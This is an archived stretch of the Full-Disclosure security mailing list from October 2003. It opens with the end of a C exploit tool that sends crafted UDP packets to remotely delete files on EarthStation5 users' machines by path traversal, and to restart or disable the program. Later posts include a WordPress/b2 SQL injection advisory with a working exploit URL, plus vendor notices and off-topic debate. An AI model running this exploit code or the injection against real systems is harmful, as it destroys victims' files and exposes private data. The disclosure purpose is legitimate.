lowlim = 0) { if (buflen == 0) buflen = (int)strlen(buf); int chksum = 0; for (int i = 0; i < buflen; i++, buf++) chksum ^= *buf << (8*(i&3)); return (uint32)(lowlim + (chksum % (uplim - lowlim + 1))); } uint32 GetChecksum(const char* lpszString) { return __GetChecksum(lpszString) ^ 0x7FFFFFFF; } void InitPacket(uint32* pkt, int size, uint32 packet) { memset(pkt, 0, size); pkt[0x0000/4] = size; pkt[0x0004/4] = 2180; pkt[0x0008/4] = packet; pkt[0x0058/4] = 0x3EFA; } void InitPacket0C(uint32* pkt, uint32 sub_func, const char* lpszString = "", uint32 CheckSum = 0) { InitPacket(pkt, 0x288, 0x0C); pkt[0x007C/4] = sub_func; pkt[0x0080/4] = CheckSum; strncpy((char*)&pkt[0x0088/4], lpszString, 0x200-1); } // IMPORTANT: // If ArraySize isn't a multiple of sizeof(uint32) then the last // bytes starting from pArray[ArraySize] will be overwritten. static void EsvInitEncryptArray(char* pArray, int size, uint32 k) { uint32 d = 0x78B7; uint32* pBuf = (uint32*)pArray; const uint32 c = 0x6AC690C5; const uint32 cl = c & 0xFFFF; const uint32 ch = c >> 0x10; for (int i = 0; i < size; i += 4, pBuf++) { const uint32 old_d = d; d = d * c + k; k = (((old_d >> 0x10) * ch) + (((old_d >> 0x10) * cl) >> 0x10)) + (((old_d & 0xFFFF) * ch) >> 0x10); if (((old_d & 0xFFFF) * cl) >= (uint32)(-(int32)k)) k++; *pBuf = d; } } static void EncryptBuffer(char* pBuf, int size, const char* pArray, int ArraySize) { uint8* pWorkBuf = (uint8*)pBuf; for (int i = 0; i < size; i++, pWorkBuf++) *pWorkBuf ^= (uint8)(pArray[i % ArraySize] ^ i); } static void EsvEncrypt(void* pBuf, int size) { const ArraySize = 0x2F; char Array[(ArraySize + sizeof(uint32) - 1) & ~(sizeof(uint32)-1)]; EsvInitEncryptArray(Array, ArraySize, size); EncryptBuffer((char*)pBuf, size, Array, ArraySize); } int SendPacket(uint32* pkt, uint32 IpAddr, uint16 IpPort, int MaxSendTries) { uint32 dwSize = pkt[0x0000/4]; EsvEncrypt(pkt, dwSize); SOCKET s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (s == INVALID_SOCKET) { printf("socket() failed\n"); return 0; } for (int i = 0; i < MaxSendTries; i++) { sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(IpPort); sa.sin_addr.s_addr = htonl(IpAddr); int size = sendto(s, (char*)pkt, dwSize, 0, (sockaddr*)&sa, sizeof(sa)); if (size == SOCKET_ERROR || size != dwSize) { printf("sendto() failed\n"); return 0; } } return 1; } void help() { printf( "/R - Max UDP sendto() retries\n" "/r - Restart remote computer's ES5.exe\n" "/e - Tell remote computer's ES5.exe it's expired\n" "/d - Delete file \n" "/s - Remote computer's shared dir" "(case sensitive.)\n" " Use quotes if path contains spaces.\n" "/i - Remote computer's IP\n" "/p - Remote computer's \"Search Service\" port\n" "\n" "The examples below assume remote ES5.exe is using IP=127.0.0.1" " and port=1234\n" "\n" "Example 1:\n" " esv /r /i 127.0.0.1 /p 1234\n" "This will restart remote computer's ES5.exe.\n" "\n" "Example 2:\n" " esv /e /i 127.0.0.1 /p 1234\n" "This will force remote computer's ES5.exe to stop functioning, " "and let the\n" "user know about it.\n" "\n" "Example 3:\n" " esv /d ..\\..\\..\\WINDOWS\\NOTEPAD.EXE /s " "\"C:\\Program Files\\EarthStation5\\New Media Files\"" " /i 127.0.0.1 /p 1234\n" "This will delete the file \"\\WINDOWS\\NOTEPAD.EXE\". This will " "not work\n" "under Win98 (and probably Win95/WinME) but does work under " "WinXP (and\n" "probably WinNT, Win2000, Win2003)\n" "\n" "Example 4:\n" " esv /d readme.txt /s \"C:\\Program Files\\EarthStation5\\" "New Media Files\" /i 127.0.0.1 /p 1234\n" "This will delete the file \"readme.txt\" in the folder\n" "\"C:\\Program Files\\EarthStation5\\New Media Files\".\n" "and works with all Windows versions\n" "\n" "IMPORTANT:\n" "The shared folder is case sensitive, and you must use the exact " "same path\n" "as ES5.exe does. If path = \"C:\\Program Files\\ES5\\Files\", " "then make sure\n" "that ES5.exe doesn't use the shorter path \"C:\\Progra~1\\ES5" "\\Files\"\n" "or has uppercased all letters. You can find out the exact path in\n" "ES5.exe's settings. Copy and paste that string.\n" ); exit(1); } char* NewDirString(const char* s) { char* szNew = (char*)malloc(strlen(s) + 1 + 1); if (szNew == NULL) return szNew; strcpy(szNew, s); strcat(szNew, "\\"); return szNew; } int main(int argc, char** argv) { int MaxSendTries = 50; // Should be more than enough... uint32 IpAddr = 0; // Remote comp's IP uint16 IpPort = 0; // Remote comp's Search Service port int RestartOption = 0; // /r option int ExitOption = 0; // /e option int DeleteOption = 0; // /d option const char* lpszSharedDir = NULL; const char* lpszFilename = NULL; uint32 pkt0C[0x0288/4]; for (int i = 1; i < argc; i++) { char* s = argv[i]; if (*s != '/' && *s != '-') help(); s++; if (!strcmp(s, "r")) { RestartOption = 1; } else if (!strcmp(s, "e")) { ExitOption = 1; } else if (!strcmp(s, "d")) { DeleteOption = 1; if (++i >= argc) help(); lpszFilename = argv[i]; } else if (!strcmp(s, "s")) { if (++i >= argc) help(); lpszSharedDir = NewDirString(argv[i]); if (lpszSharedDir == NULL) { printf("Out of memory\n"); return 1; } } else if (!strcmp(s, "i")) { if (++i >= argc) help(); IpAddr = inet_addr(argv[i]); if (IpAddr == INADDR_NONE) help(); IpAddr = ntohl(IpAddr); } else if (!strcmp(s, "p")) { if (++i >= argc) help(); uint32 p = strtoul(argv[i], NULL, 0); if (p == 0 || p > 0xFFFF) help(); IpPort = (uint16)p; } else if (!strcmp(s, "R")) { if (++i >= argc) help(); MaxSendTries = strtoul(argv[i], NULL, 0); } else { help(); } } if (IpAddr == 0 || IpPort == 0) help(); WSAData wsa; int ret; if ((ret = WSAStartup(MAKEWORD(2,2), &wsa)) != 0) { printf("Could not initialize WinSock. Error %08X\n", ret); return 1; } if (wsa.wVersion != 0x0202) { printf("Couldn't init WinSock 2.2\n"); return 1; } int did_something = 0; if (DeleteOption) { if (lpszFilename == NULL || lpszSharedDir == NULL) help(); printf("Sending command to delete file \"%s\" in folder " "\"%s\"...", lpszFilename, lpszSharedDir); InitPacket0C(pkt0C, 0x07, lpszFilename, GetChecksum(lpszSharedDir)); if (!SendPacket(pkt0C, IpAddr, IpPort, MaxSendTries)) return 1; printf("Done!\n"); did_something = 1; } if (RestartOption) { InitPacket0C(pkt0C, 0x2F); printf("Sending command to restart remote ES5.exe..."); if (!SendPacket(pkt0C, IpAddr, IpPort, MaxSendTries)) return 1; printf("Done!\n"); did_something = 1; } if (ExitOption) { InitPacket0C(pkt0C, 0x09); printf("Sending command to close remote ES5.exe..."); if (!SendPacket(pkt0C, IpAddr, IpPort, MaxSendTries)) return 1; printf("Done!\n"); did_something = 1; } if (!did_something) help(); } ********** END esv.cpp ********** __________________________________ Do you Yahoo!? The New Yahoo! Shopping - with improved product search http://shopping.yahoo.com From bwatson at nettracers.com Fri Oct 3 01:36:02 2003 From: bwatson at nettracers.com (Bryan K. Watson) Date: Thu, 2 Oct 2003 17:36:02 -0700 Subject: [Full-Disclosure] Blocking Music Sharing. In-Reply-To: <055a01c37bad$2fb6e5a0$020210ac@wrkstnlr> Message-ID: MessageCheckpoint NG with Application Intelligence will look into the stream and block applications like Kazaa. This is their new product release level, and they have radically changed their pricing and market focus...so don't assume that they are unaffordable. You can also set checkpoint to block VPN's that try to use common ports to tunnel thru the firewall...like their new vpn client can do now....kind of ironic that they can tunnel IPSEC thru firewalls and they also developed the ability to block that in their own firewall product. I am configuring two of these here right now, and that is one of the issues that the customer wants resolved. -Bryan K. Watson - bwatson at netTracers.com - www.netTracers.com - www.bcnetworks.com From: Johnson, Mark To: full-disclosure at lists.netsys.com Sent: Monday, September 15, 2003 9:37 AM Subject: [Full-Disclosure] Blocking Music Sharing. Due to the legal issues, I am trying to block access to sites like Kazaa and Limewire in the office. If I am not mistaken, these networks can use different ports each time, so there is no way to block it at the firewall. Is this right? And if so, what is the best way to block access to these types of sites? Many thanks, Mark J. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/9914e90d/attachment.html From rms at computerbytesman.com Fri Oct 3 01:34:12 2003 From: rms at computerbytesman.com (Richard M. Smith) Date: Thu, 2 Oct 2003 20:34:12 -0400 Subject: [Full-Disclosure] Hamilton v. Microsoft lawsuit complaint is now online Message-ID: <007301c38941$a3398040$550ffea9@rms> Hi, I have posted a copy of the Hamilton v. Microsoft law suit complaint on my Web site: http://www.computerbytesman.com/security/hamilton_v_microsoft_complaint.htm This Reuters story provides background on this proposed class action lawsuit, which was filed today in Los Angeles, against Microsoft: Microsoft faces class action on security http://news.com.com/2100-1009-5085730.html?tag=nl Richard M. Smith http://www.ComputerBytesMan.com From Valdis.Kletnieks at vt.edu Thu Oct 2 19:29:48 2003 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Thu, 02 Oct 2003 14:29:48 -0400 Subject: [Full-Disclosure] Microsoft moves beyond patches In-Reply-To: Your message of "Thu, 02 Oct 2003 11:50:15 CDT." References: Message-ID: <200310021829.h92ITmqd012215@turing-police.cc.vt.edu> On Thu, 02 Oct 2003 11:50:15 CDT, Ron DuFresne said: > Unless you are promoting host based defense, which is not quite there yet, > and an administrative nightmare, I think you'd find a strong argument this > is *not* the case, at least at present. Tell that to all the corporate nets that have been whacked by a worm brought in on a laptop, VPN connection, or other similar backdoor. (yes yes, I know it's a "failure to define perimeter correctly". The fact that it wasn't defined correctly *IS* the problem with the technology....) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/680a0234/attachment.bin From Valdis.Kletnieks at vt.edu Thu Oct 2 15:25:11 2003 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Thu, 02 Oct 2003 10:25:11 -0400 Subject: [Full-Disclosure] NINCOMPOOPERY OF MICROSOFT In-Reply-To: Your message of "Wed, 01 Oct 2003 19:47:05 +0300." <200310011646.TAA08469@home.ntrl.net> References: <200310011454.h91EsE3a054357@mailserver2.hushmail.com> <200310011646.TAA08469@home.ntrl.net> Message-ID: <200310021425.h92EPBqd004459@turing-police.cc.vt.edu> On Wed, 01 Oct 2003 19:47:05 +0300, Georgi Guninski said: > Ballmer made it absolutely clear where his company--arguably the biggest > target for cybercrime the world over--stands when it comes to hacking, be it > malicious code-authoring or what some consider to be ethical programming. > Ballmer likens these individuals to criminals who blow up buildings and says > the monetary damage is worse. And he takes umbrage with the notion that some > are ethical and help to create new innovations for the market by pushing IT to > its limits. > These are the same guys who hired @stake? Which was formerly known as L0pht Heavy Industries? What's wrong with this picture? -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/fc8483da/attachment.bin From Valdis.Kletnieks at vt.edu Wed Oct 1 16:02:32 2003 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Wed, 01 Oct 2003 11:02:32 -0400 Subject: [Full-Disclosure] Re: Prudent default security In-Reply-To: Your message of "Wed, 01 Oct 2003 09:00:30 EDT." <002e01c3881b$fdf4a8b0$0b01a8c0@sane.com> References: <002e01c3881b$fdf4a8b0$0b01a8c0@sane.com> Message-ID: <200310011502.h91F2WcG010830@turing-police.cc.vt.edu> On Wed, 01 Oct 2003 09:00:30 EDT, Michael Smith said: > I'm expecting that bulk admin tools for windows systems will mature greatly > over the next year or so. Hopefully MS will continue to work on the path > they have set rather than reinventing the wheel and making all current > system and network administration policies and tools obsolete. Remember - MS is a *corporation*. They have *no* reason to change path, unless by doing so they improve *their* bottom line. If they can crush a competitor and spur sales with a "new improved" product that changes course, they will. People keep acting like MS has some moral or ethical obligation to their customers. They don't. That's why they engage in behavior that outsiders find revolting - because said behavior is good for the bottom line. And the only way to change it is to make the behavior bad for the bottom line (either in lost sales when a shop goes Linux, or damages in a lawsuit, whatever...) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031001/a16b4532/attachment.bin From seth at tautology.org Fri Oct 3 06:11:06 2003 From: seth at tautology.org (Seth Woolley) Date: Thu, 2 Oct 2003 22:11:06 -0700 (PDT) Subject: [Full-Disclosure] Cafelog WordPress / b2 SQL injection vulnerabilities discovered and fixed in CVS Message-ID: <20031002165758.X90532@tautology.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Vendor: Cafelog Product: WordPress (formerly b2) http://www.wordpress.org/ Vulnerable Versions: * CVS versions before October 1, 2003 * Vulnerability affects code inherited from b2, so all versions of wordpress released before CVS fix are affected and many versions of b2 are also affected. Description: A number of SQL injection vulnerabilities have been fixed that could allow arbitrary SQL to be injected if one has local access to the filesystem the database can access (using 'source filename.sql;'). ''', '"', '\' are all filtered, and ' ' is munged into SQL constructs before injection, so %09 (tab char) can be used where spaces would normally be in the sql string one wishes to inject. The problem affects the category (cat) and order by (order_by) code. The author (author) code was almost vulnerable, except for a small bug that misconverted author to an integer before string processing. The problems are located in the blog.header.php file, and a patch is included below (provided by the authors) that fixes the vulnerabilities and includes general bug fixes and code cleanup. Any SQL string not including quotes or a backslash can be injected through the URL (i.e. 'drop table foo;'). Patch: http://cvs.sourceforge.net/viewcvs.py/cafelog/wordpress/blog.header.php.diff?r1=text&tr1=1.18&r2=text&tr2=1.21&diff_format=u Exploit: http://fresh.wordpress.org/index.php?cat=100)%09or%090=0%09or%09(0=1 Exploit example exposes private posts. Dropping tables should be trivial, especially using the order_by flaw. Date Discovered: Sunday, 28 Sept 2003 Dates Vendor Notified: Monday, 29 Sept 2003 - Tuesday, 30 Sept 2003 Vendor was notified of problems on Monday. On Tuesday, discoverer gave a full report of the extent of the problems via IRC. Date Fixed: Wednesday, 1 Oct 2003 Date Published: Thursday, 2 Oct 2003 Discoverer: Seth Woolley Disclaimer: I (Seth) am not a php expert, and I don't run this code, so I haven't tested the vendor-provided patch yet, although I assume the vendor has. Be advised. Acknowledgements: I would like to thank the wordpress developers for providing the patch in a timely and responsible manner (specifically Matthew Mullenweg for being my vendor contact). - -- Seth Alan Woolley , SPAM/UCE is unauthorized Key id 7BEACC7D = 2978 0BD1 BA48 B671 C1EB 93F7 EDF4 3CDF 7BEA CC7D Full Key at seth.tautology.org and pgp.mit.edu. info: www.gnupg.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (FreeBSD) iD8DBQE/fQTz7fQ833vqzH0RAreJAJ0YzWPNFp4aqWrKnFJnFMo8HkiduwCeOPd/ sUqIIAbtDJ6iA8r4HOor4LU= =Qwy4 -----END PGP SIGNATURE----- From security at dylanic.de Fri Oct 3 09:40:17 2003 From: security at dylanic.de (Michael Renzmann) Date: Fri, 03 Oct 2003 10:40:17 +0200 Subject: [Full-Disclosure] Cafelog WordPress / b2 SQL injection vulnerabilities discovered and fixed in CVS In-Reply-To: <20031002165758.X90532@tautology.org> References: <20031002165758.X90532@tautology.org> Message-ID: <3F7D35F1.4090005@dylanic.de> Hi. Seth Woolley wrote: > Disclaimer: > I (Seth) am not a php expert, and I don't run this code, so I haven't > tested the vendor-provided patch yet, although I assume the vendor has. > Be advised. I tested the patch against the current release version of wordpress (v0.71). Although I couldn't notice any harm with the provided example for the blog I run with this wordpress version, I applied the patch and couldn't see any negative impact. Actually, chances are good that I don't make use of the part of Wordpress that would have been compromised by the provided exploit example. If anyone could provide another working (and non-destructive ;)) exploit I'd be willing to test it against both, the release version any "my" patched version, in order to verify that the provided patch works for 0.71. Or let me know which feature needs to be turned on in order to test the effect of the exploit (please be patient with me, I'm a Wordpress newbie ;)). Bye, Mike From jeroen at unfix.org Fri Oct 3 11:16:26 2003 From: jeroen at unfix.org (Jeroen Massar) Date: Fri, 3 Oct 2003 12:16:26 +0200 Subject: [Full-Disclosure] OT: Hamilton v. Microsoft lawsuit complaint is now online In-Reply-To: <007301c38941$a3398040$550ffea9@rms> Message-ID: <014101c38997$67f78e90$210d640a@unfix.org> -----BEGIN PGP SIGNED MESSAGE----- Richard M. Smith wrote: > I have posted a copy of the Hamilton v. Microsoft law > suit complaint on my Web site: > > http://www.computerbytesman.com/security/hamilton_v_microsoft_complaint.htm > > This Reuters story provides background on this proposed > class action lawsuit, which was filed today in Los Angeles, > against Microsoft: > > Microsoft faces class action on security > http://news.com.com/2100-1009-5085730.html?tag=nl Quite offtopic. But what I still wonder is why the heck one isn't allowed to do business and become large. Is it all jealousy? If they where so bad why do they get the revenue and not your company producing super duper software? Linux/BSD and many other products have proven that there is a market for it, but apparently they are not up to par with the established products. If you want to win then make your software better. Don't start sueing to earn your money. Put your hands where your mouth is. Why don't everybody start sueing IBM for that matter or can't you because they hold a patent on that? Or sue the world or the USA goverment for dominating the world and you don't like it. If you want it better then make it better. Greets, Jeroen -----BEGIN PGP SIGNATURE----- Version: Unfix PGP for Outlook Alpha 13 Int. Comment: Jeroen Massar / jeroen at unfix.org / http://unfix.org/~jeroen/ iQA/AwUBP31MeimqKFIzPnwjEQLxwQCfe9hSzXTttH0e3tWrRsQiPFqYjioAnRlg Y3AVtVCaxGqPSASeyv0YK04b =sIWy -----END PGP SIGNATURE----- From security at dylanic.de Fri Oct 3 11:38:49 2003 From: security at dylanic.de (Michael Renzmann) Date: Fri, 03 Oct 2003 12:38:49 +0200 Subject: [Full-Disclosure] Dictionary attack against Cisco's LEAP, Wireless LANs vulnerable Message-ID: <3F7D51B9.50807@dylanic.de> Hi. Cisco released a security notice [1] in August about possible dictionary attacks against their proprietary LEAP (Lightweight Extensible Authentication Protocol, used with 802.1x). But according to Computerworld [2] it seems that this information has not been spread well enough. In addition, Unstrung yesterday reported [3] about the demonstration of a tool that seems to be able to retrieve valid passwords for LEAP protected WLANs within "minutes, even seconds". The tool is not available yet, but its author (Joshua Wright from Johnson & Wales University) announced "that the tool will be generally available in a couple of months". Those of you who are using LEAP to protect their Wireless LAN should take care of a proper password policy and change passwords regularly. Cisco provides further information on password selection in their advisory ("Available Documentation", last paragraph). Bye, Mike [1] http://www.cisco.com/en/US/tech/tk722/tk809/technologies_tech_note09186a00801aa80f.shtml [2] http://www.computerworld.com/mobiletopics/mobile/story/0,10801,85637,00.html?f=x68 [3] http://www.unstrung.com/document.asp?doc_id=41185 From lists at michel-messerschmidt.de Fri Oct 3 12:40:33 2003 From: lists at michel-messerschmidt.de (Michel Messerschmidt) Date: Fri, 3 Oct 2003 13:40:33 +0200 Subject: [Full-Disclosure] Asynchronous, industry-wide virus naming scheme proposed In-Reply-To: References: Message-ID: <20031003114033.GA7201@onosendai.matrix> On Thu, Oct 02, 2003 at 02:21:21PM +0200, Feher Tamas wrote: > My idea to solve the above dilemma is: why not implement a system for > industry-wide virus identification, called Virus Name System (VNS), > somewhat similar in its nature to the distributed Domain Name System > (DNS) of the Internet. Numerical (abstract) virus ID would be analogous > to the IP address and virus names replace the host name. Actually you're not the first who has thought of a DNS-like Virus Naming System. But there are significant differences between hostnames and virus names. While DNS binds a name to a single, unique IP number, virus researchers may get many samples of the same new virus in very short time, that must all be mapped to the same name. Additionally it may be difficult to decide if two samples are actually the same virus. So a "first-come, first-serve" strategy like DNS may even lead to more meaningless virus names without solving any other basic problem. > Just like a > particular IP address can have several host names associated with it, a > numerical virus ID could absorb two, three or seven virus names from > different vendors and allow for a dismissal of less-favoured names over > the time to keep the single real one. If researchers can't agree on a single name today, how should such a system improve this situation. What's still missing is some criteria how to select the "real one". Therefore I don't see any advantage about current virus description databases (that typically include common aliasnames). > Inter-vendor discussions > conducted across the phone or the coffe table as to which name fits a > particular malware the best is not addressed in this paper. So one of the major problems is not adressed. > the virname system entries stored on root-VNS > servers should have records, formalized technical data, which is > verbose enough to determine if several differently named virus entries > submitted from diverse vendor virname servers are actually the same. I think there exists no solution for this problem. > Virus scanning software (the computer programs that customers buy) > should incorporate a new feature: when a malicious object is found, it > should ask the vendor-VNS server for the name of that malware, based > on a query with the virus name which is already hardcoded in its > signature database files. It's certainly a bad idea to require a network connection after detecting an incident. > If there is no match, it should fall back to the virus name which is found > hardcoded in its virus signature files. The substance is, the end user > and/or security administrator should be confronted with the most > authoritive name, whenever avilable. The main problem is not to have the "most authoritive name", but to identifiy the type of incident in order to eliminate the security breach. There are also some general considerations. As you may know, it was proven impossible to generally detect every virus. Taking into account the exponential growth of new malware, how long will it be possible to classify and name every new piece of malware ? Or must we rely more and more on generic detection (without the possibility for a optimal solution) ? In the long run it may be even more important to try to classify all known good software. -- Michel Messerschmidt lists at michel-messerschmidt.de antiVirusTestCenter, Computer Science, University of Hamburg From thor at pivx.com Fri Oct 3 09:20:27 2003 From: thor at pivx.com (Thor Larholm) Date: Fri, 3 Oct 2003 01:20:27 -0700 Subject: [Full-Disclosure] Half-Life 2 source code stolen through IE exploit Message-ID: <01ec01c38987$33b954c0$1ce8a944@JumperLappy> http://www.halflife2.net/forums/showthread.php?s=e6e7d0ce0abe19997425ef50fa7fe1df&threadid=10692 Regards Thor Larholm PivX Solutions, LLC - Senior Security Researcher http://pivx.com/larholm/unpatched - 31 Unpatched IE Security Vulnerabilities From robert at timetraveller.org Fri Oct 3 14:19:22 2003 From: robert at timetraveller.org (Robert Brockway) Date: Fri, 3 Oct 2003 09:19:22 -0400 (EDT) Subject: [Full-Disclosure] [OT] Monopolies and software In-Reply-To: <014101c38997$67f78e90$210d640a@unfix.org> References: <014101c38997$67f78e90$210d640a@unfix.org> Message-ID: On Fri, 3 Oct 2003, Jeroen Massar wrote: > Quite offtopic. But what I still wonder is why the heck one > isn't allowed to do business and become large. It's the monopoly that so many of us have a problem with. Leveraging dominance in one market to gain control of another. Many large companies have tried this sort of thing. > Is it all jealousy? If they where so bad why do they get > the revenue and not your company producing super duper software? The answer to that one is easy: Marketting. Those involved in the final authorisation of software purchasing today are rarely highly technical. They are often swayed by claims that techs/Sysadmins would dismiss quickly. > Linux/BSD and many other products have proven that there > is a market for it, but apparently they are not up to par > with the established products. If you want to win then I don't see that the available evidence supports that ascertion. It is invalid to assume that a market makes the best product dominant. There are plenty of counter-examples for this outside computing. In addition factors like the age/maturity of a product and (again) how it is marketted have a big impact. I happen to believe that OSS is showing itself to be superior through the accountability and flexibility it provides as well as the demonstrably more rapid security fixes (just compare the speed of patches applied to Linux distributions vs SCO Openserver recently). In any case this is my personal opinion. Some will agree and some will disagree. I won't post further on this topic. I find after one or two posts threads like this lose cohesion and becomes unuseful. Rob -- Robert Brockway B.Sc. email: robert at timetraveller.org, zzbrock at uqconnect.net Linux counter project ID #16440 (http://counter.li.org) "The earth is but one country and mankind its citizens" -Baha'u'llah From capegeo at opengroup.org Fri Oct 3 14:22:38 2003 From: capegeo at opengroup.org (George Capehart) Date: Fri, 03 Oct 2003 09:22:38 -0400 Subject: [Full-Disclosure] Soft-Chewy insides In-Reply-To: <871080DEC5874D41B4E3AFC5C400611E06B476FA@UTDEVS02.campus.ad.utdallas.edu> References: <871080DEC5874D41B4E3AFC5C400611E06B476FA@UTDEVS02.campus.ad.utdallas.edu> Message-ID: <3F7D781E.6030605@opengroup.org> Schmehl, Paul L wrote: > > I'm not going to disagree with this at all, however I would point out > that standards are one thing, implementation entirely another. It's > nice to have standards that provide guidance in security structuring, > but without the tools to implement those guidelines, they're guidelines > and not much more. Only in the past couple of years have we seen any > really useful tools in this area, and the prices are out of reach of > many organizations. (Like other things in technology, it would be nice > if those prices would come down over time.) > That's what I'm referring to when I say "we, as a security community" > have only begun to try addressing these issues. Right now, > organizations pretty much have to "roll their own" - not a very > efficient way of solving a universal problem. Hrmmmm. Seems I misunderstood the issues. I wasn't thinking along those lines. Sorry 'bout that. :0 But then, I'm afraid there is always going to be the mix-and-match problem. Different products and processes were designed at different times for different purposes to deal with different threat/risk profiles. Plus, everyone's environment is different. There *are* tools that help make the job a little easier, but the best tools for the job are the carbon-based ones . . . My $0.02. Cheers, George Capehart From roblewis963 at hotmail.com Fri Oct 3 14:40:19 2003 From: roblewis963 at hotmail.com (Rob Lewis) Date: Fri, 3 Oct 2003 08:40:19 -0500 Subject: [Full-Disclosure] OT: Hamilton v. Microsoft lawsuit complaint is now online References: <014101c38997$67f78e90$210d640a@unfix.org> Message-ID: OK, M$ has been reported to have modified the EULA and export license agreement : The SOFTWARE is intended for distribution only in the United States (Excluding California), its territories and possessions (including Puerto Rico, Guam, and U.S. Virgin Islands), and Canada. Export of the SOFTWARE from the United States or to the state of California is regulated under "EI controls" of the Export Administration Regulations (EAR, 15 CFR 730-744) of the U.S. Commerce Department, Bureau of Export Administration (BXA). A license is required to export the SOFTWARE outside the United States or to the state of California. From lists at onryou.com Fri Oct 3 14:47:35 2003 From: lists at onryou.com (Cael Abal) Date: Fri, 03 Oct 2003 09:47:35 -0400 Subject: [Full-Disclosure] Google FILTERS searches for possible DMCA infringable content!!! In-Reply-To: <20031002193746.GB25982@eiv.com> References: <001601c38879$b18f3a40$ca02a8c0@winxpnetsniper> <3F7CC903.3040706@snosoft.com> <20031002033443.GA66899@netpublishing.com> <200310012316.56022.jeremiah@nur.net> <20031002193746.GB25982@eiv.com> Message-ID: <3F7D7DF7.3080500@onryou.com> >>The fact that they have at least two "former" NSA personnel in the ranks of >>senior technical management should be all the tip-off that anyone would need. > > Are you kidding? Former NSA tech folks are a dime a dozen. I work with > half a dozen of them at FedEx. Psst: It would've been funnier if you had said "McDonald's" but still, nice riff! ;) .c From tom at doctorunix.com Fri Oct 3 14:15:27 2003 From: tom at doctorunix.com (tom at doctorunix.com) Date: Fri, 3 Oct 2003 08:15:27 -0500 Subject: [Full-Disclosure] Fake ebay password stealer Message-ID: <1065186927.3f7d766fb66e2@www.doctorunix.com> An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031003/20963b58/attachment.ksh -------------- next part -------------- A non-text attachment was scrubbed... Name: pic18757.gif Type: image/gif Size: 5001 bytes Desc: pic18757.gif Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031003/20963b58/attachment.gif From John.Airey at rnib.org.uk Fri Oct 3 15:13:25 2003 From: John.Airey at rnib.org.uk (John.Airey at rnib.org.uk) Date: Fri, 3 Oct 2003 15:13:25 +0100 Subject: [Full-Disclosure] Potential denial of service bug in Cisco Pix Firewall IOS 6.2.2 a nd 6.3.(3.102) Message-ID: <9B66BBD37D5DD411B8CE00508B69700F033F2FFD@pborolocal.rnib.org.uk> Brief Description ----------------- Users of Cisco Pix Firewalls may discover that their pool of NAT'ted IP addresses is running out, and that a reboot or reload of the firewall clears the problem. Details ------- The problem is caused by the Firewall being swamped by incoming ICMP packets on the global pool IP addresses. If these are not intercepted by a router beforehand, the incoming echo requests (that are emanating from Nachi/Welchia worm infected machines) are preventing the release of the address translation. ie, the Pix is detecting the blocked traffic as indication that the translation is still in use. I believe that this bug also affects the recent security update version 6.3(3.102) detailed at www.cisco.com/en/US/tech/tk583/tk618/technologies_security_advisory09186a008 01c5975.shtml. I have been unable (and unwilling) to test this, but given that a permanent fix is being worked on it is undoubtedly the case. Workaround ---------- For those who are unable to block incoming ICMP echo requests at their router (for whatever reason), Cisco have sent me the following details: "1- use PAT (a global pool with a single entry) this way although the xlate will remain up but all your internal hosts will be multiplexed over this pat address. single pat address can accomodate in theory 65535 connections. however this might break un-PATable traffic 2- use statics for your important servers that need NAT (1 to 1 mapping) 3- also instead of rebooting the whole pix you can simply log into it and do "clear xlate" this will clear all translations." It should be pointed out that "2" is not a solution to this problem. The others are not ideal either. Permanent fix ------------- I have been informed that Cisco are aware of this and that a bug fix is being worked on. Other ----- I am releasing this notification as there may well be system adminstrators who are still suffering from this problem. Specifically the release of this information cannot lead to any further attacks against systems that are already affected. Unfortunately Cisco have not updated their information regarding mitigation against the Nachi/Welchia worm at www.cisco.com/en/US/products/sw/voicesw/ps556/products_tech_note09186a00801b 143a.shtml The mitigation information only covers outgoing connections. I have asked Cisco for a fix to for this twice, and at present I am still waiting for a resolution to my second request. Apologies for the evil Outlook word-wrapping, which may render URLs above useless. Please be kind to me. This is my first security vulnerability I've ever posted. - John Airey, BSc (Jt Hons), CNA, RHCE Internet systems support officer, ITCSD, Royal National Institute of the Blind, Bakewell Road, Peterborough PE2 6XU, Tel.: +44 (0) 1733 375299 Fax: +44 (0) 1733 370848 John.Airey at rnib.org.uk Our world is intolerant, and always will be. We kid ourselves when we think that those who have different values can tolerate each other. - DISCLAIMER: NOTICE: The information contained in this email and any attachments is confidential and may be privileged. If you are not the intended recipient you should not use, disclose, distribute or copy any of the content of it or of any attachment; you are requested to notify the sender immediately of your receipt of the email and then to delete it and any attachments from your system. RNIB endeavours to ensure that emails and any attachments generated by its staff are free from viruses or other contaminants. However, it cannot accept any responsibility for any such which are transmitted. We therefore recommend you scan all attachments. Please note that the statements and views expressed in this email and any attachments are those of the author and do not necessarily represent those of RNIB. RNIB Registered Charity Number: 226227 Website: http://www.rnib.org.uk From R.Ferris at napier.ac.uk Fri Oct 3 15:15:48 2003 From: R.Ferris at napier.ac.uk (Ferris, Robin) Date: Fri, 3 Oct 2003 15:15:48 +0100 Subject: [Full-Disclosure] Half-Life 2 source code stolen through IE e xploit Message-ID: <36402DCC1069D411922D00508B5B2CC21E3F2BC0@ex-server1.napier.ac.uk> As it is now posted on easynews.com, not the best idea really as posts are defo logged by them ref. recent FBI tracking cases of viruses etc RF -----Original Message----- From: Thor Larholm [mailto:thor at pivx.com] Sent: 